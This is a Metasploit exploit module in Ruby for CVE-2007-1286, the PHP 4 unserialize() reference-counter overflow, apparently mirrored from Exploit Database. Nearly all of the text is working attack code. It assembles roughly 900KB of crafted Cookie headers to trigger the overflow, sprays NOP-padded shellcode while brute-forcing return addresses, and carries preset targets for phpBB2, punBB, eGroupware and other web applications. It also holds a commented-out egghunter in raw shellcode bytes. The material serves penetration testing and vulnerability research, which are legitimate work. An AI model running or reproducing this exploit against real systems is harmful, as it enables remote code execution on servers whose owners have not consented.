PHP 4 – Unserialize() ZVAL Reference Counter Overflow (Cookie) (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/16310/

• ##
  # $Id: php_unserialize_zval_cookie.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Brute
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
  			'Description'=> %q{
  					This module exploits an integer overflow vulnerability in the unserialize()
  				function of the PHP web server extension. This vulnerability was patched by
  				Stefan in version 4.5.0 and applies all previous versions supporting this function.
  				This particular module targets numerous web applications and is based on the proof
  				of concept provided by Stefan Esser. This vulnerability requires approximately 900k
  				of data to trigger due the multiple Cookie headers requirement. Since we
  				are already assuming a fast network connection, we use a 2Mb block of shellcode for
  				the brute force, allowing quick exploitation for those with fast networks.
  
  				One of the neat things about this vulnerability is that on x86 systems, the EDI register points
  				into the beginning of the hashtable string. This can be used with an egghunter to
  				quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
  				is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
  				module is more reliable across a wider range of systems.
  			},
  			'Author' =>
  				[
  					'hdm',# module development
  					'GML <grandmasterlogic [at] gmail.com>',# module development and debugging
  					'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2007-1286'],
  					['OSVDB', '32771'],
  					['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space' => 1024,
  				},
  			'Targets'=>
  				[
  
  					#
  					# 64-bit SuSE:0x005c0000
  					# Backtrack 2.0:0xb797a000
  					# Gentoo: 0xb6900000
  					#
  					[ 'Linux x86 Generic',
  						{
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 phpBB2',
  						{
  							'DefaultCookie' => 'phpbb2mysql_data',
  							'DefaultURI'=> '/phpBB2/faq.php',
  							'Signature' => /Powered\s+by.*phpBB/,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 punBB',
  						{
  							'DefaultCookie' => 'punbb_cookie',
  							'DefaultURI'=> '/index.php',
  							'Signature' => /Powered\s+by.*PunBB/,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 WWWThreads',
  						{
  							'DefaultCookie' => 'forum_cookie',
  							'DefaultURI'=> '/index.php',
  							'Signature' => /Powered\s+by.*WWWThreads/,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 Deadman Redirect',
  						{
  							'DefaultCookie' => 'authcookie',
  							'DefaultURI'=> '/dmr/dmr.php',
  							'Signature' => /document\.f\.userdata\.focus/,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 PhpWebGallery',
  						{
  							'DefaultCookie' => 'pwg_remember',
  							'DefaultURI'=> '/phpwebgallery/index.php',
  							'Signature' => /Powered\s+by.*phpwebgallery/msi,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 Ariadne-CMS',
  						{
  							'DefaultCookie' => 'ARCookie',
  							'DefaultURI'=> '/ariadne/loader.php/',
  							'Signature' => /Ariadne is free software/,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 ProMA',
  						{
  							'DefaultCookie' => 'proma',
  							'DefaultURI'=> '/proma/index.php',
  							'Signature' => /Change Account Information/,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					],
  					[ 'Linux x86 eGroupware',
  						{
  							'DefaultCookie' => 'eGW_remember',
  							'DefaultURI'=> '/egroupware/login.php',
  							'Signature' => /www.egroupware.org/,
  							'Platform'=> 'linux',
  							'Arch'=> [ ARCH_X86 ],
  							'Bruteforce' =>
  								{
  									'Start' => { 'Ret' => 0xb6000400 },
  									'Stop'=> { 'Ret' => 0xbfff0000 },
  									'Step'=> 1024*1024
  								}
  						}
  					]
  				],
  			'DisclosureDate' => 'Mar 04 2007'))
  
  			register_options(
  				[
  					OptString.new('URI', [false, "The path to vulnerable PHP script"]),
  					OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
  				], self.class)
  	end
  
  
  	def check
  		print_status("Checking for a vulnerable PHP version...")
  
  		#
  		# Pick the URI and Cookie name
  		#
  		cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
  		uri_path= datastore['URI']|| target['DefaultURI']
  
  		if(not cookie_name)
  			raise RuntimeError, "The COOKIENAME option must be set"
  		end
  
  		if(not uri_path)
  			raise RuntimeError, "The URI option must be set"
  		end
  
  		res = send_request_cgi({
  			'uri'		=> uri_path,
  			'method'	=> 'GET'
  		}, 5)
  
  		php_bug = false
  
  		if (not res)
  			print_status("No response from the server")
  			return Exploit::CheckCode::Safe
  		end
  
  		http_fingerprint({ :response => res })# check method
  
  		if (res.code != 200)
  			print_status("The server returned #{res.code} #{res.message}")
  			return Exploit::CheckCode::Safe
  		end
  
  		if (
  				(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
  				(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
  			)
  
  			php_raw = $1
  			php_ver = php_raw.split('.')
  
  			if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
  				print_status("The server runs a vulnerable version of PHP (#{php_raw})")
  				php_bug = true
  			else
  				print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
  				return Exploit::CheckCode::Safe
  			end
  		end
  
  		# Detect the phpBB cookie name
  		if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
  			print_status("The server may require a cookie name of '#{$1}_data'")
  		end
  
  		if(target and target['Signature'])
  			if (res.body and res.body.match(target['Signature']))
  				print_status("Detected target #{target.name}")
  			else
  				print_status("Did not detect target #{target.name}")
  			end
  
  		end
  
  		return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
  	end
  
  
  	def brute_exploit(target_addrs)
  
  		zvalref = encode_semis('i:0;R:2;')
  
  #
  # Use this if we decide to do 'jmp edi' returns vs brute force
  #
  =begin
  		# Linux specific egg-hunter
  		tagger = "\x90\x50\x90\x50"
  		hunter =
  			"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
  			"\x3c\xf2\x74\xf1\xb8" +
  			tagger +
  			"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
  
  		egghunter = "\xcc" * 39
  		egghunter[0, hunter.length] = hunter
  
  		hashtable = "\xcc" * 39
  		hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
  
  		hashtable[20, 4] = [target_addrs['Ret']].pack('V')
  		hashtable[32, 4] = [target_addrs['Ret']].pack('V')
  =end
  
  		#
  		# Just brute-force addresses for now
  		#
  		tagger= ''
  		egghunter = rand_text_alphanumeric(39)
  		hashtable = rand_text_alphanumeric(39)
  		hashtable[20, 4] = [target_addrs['Ret']].pack('V')
  		hashtable[32, 4] = [target_addrs['Ret']].pack('V')
  
  
  		#
  		# Pick the URI and Cookie name
  		#
  		cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
  		uri_path= datastore['URI']|| target['DefaultURI']
  
  		if(not cookie_name)
  			raise RuntimeError, "The COOKIENAME option must be set"
  		end
  
  		if(not uri_path)
  			raise RuntimeError, "The URI option must be set"
  		end
  
  		# Generate and reuse the original buffer to save CPU
  		if (not @saved_cookies)
  
  			# Building the malicious request
  			print_status("Creating the request...")
  
  			# Create the first cookie header to get this started
  			cookie_fun = "Cookie: #{cookie_name}="
  			cookie_fun << Rex::Text.uri_encode(
  				'a:100000:{s:8:"' +
  				rand_text_alphanumeric(8) +
  				'";a:3:{s:12:"' +
  				rand_text_alphanumeric(12) +
  				'";a:1:{s:12:"' +
  				rand_text_alphanumeric(12) +
  				'";i:0;}s:12:"' +
  				rand_text_alphanumeric(12) +
  				'";'+
  				'i:0;s:12:"' +
  				rand_text_alphanumeric(12) +
  				'";i:0;}'
  			)
  			cookie_fun << zvalref * 500
  			cookie_fun << Rex::Text.uri_encode('s:2:"')
  			cookie_fun << "\r\n"
  
  			refcnt = 1000
  			refmax = 65535
  
  			# Keep adding cookie headers...
  			while(refcnt < refmax)
  
  				chead = 'Cookie: ';
  				chead<< encode_semis('";N;')
  
  				# Stay within the 8192 byte limit
  				0.upto(679) do |i|
  					break if refcnt >= refmax
  					refcnt += 1
  
  					chead << zvalref
  				end
  				chead << encode_semis('s:2:"')
  				cookie_fun << chead + "\r\n"
  			end
  
  			# The final header, including the hashtable with return address
  			cookie_fun << "Cookie: "
  			cookie_fun << Rex::Text.uri_encode('";N;')
  			cookie_fun << zvalref * 500
  
  			@saved_cookies = cookie_fun
  		end
  
  		# Generate and reuse the payload to save CPU time
  		if (not @saved_payload)
  			@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
  		end
  
  		cookie_addrs = Rex::Text.uri_encode(
  			's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
  		) + "\r\n"
  
  		print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
  		res = send_request_cgi({
  			'uri'		=> uri_path,
  			'method'	=> 'POST',
  			'raw_headers' => @saved_cookies + cookie_addrs,
  			'data'=> @saved_payload
  		}, 1)
  
  
  		if res
  			failed = false
  
  			print_status("Received a response: #{res.code} #{res.message}")
  
  			if (res.code != 200)
  				print_error("The server returned a non-200 response, indicating that the exploit failed.")
  				failed = true
  			end
  
  			if (not failed and (res.body and res.body.length > 0))
  				print_error("The server returned a real response, indicating that the exploit failed.")
  				failed = true
  			end
  
  			if (failed)
  				print_status("Please verify the URI and COOKIENAME parameters.")
  				print_line('')
  				print_line("*" * 40)
  				print_line(res.body)
  				print_line("*" * 40)
  				print_line('')
  
  				raise RuntimeError, "Exploit settings are probably wrong"
  			end
  		else
  			print_status("No response from the server")
  		end
  
  	end
  
  	def encode_semis(str)
  		str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
  	end
  
  end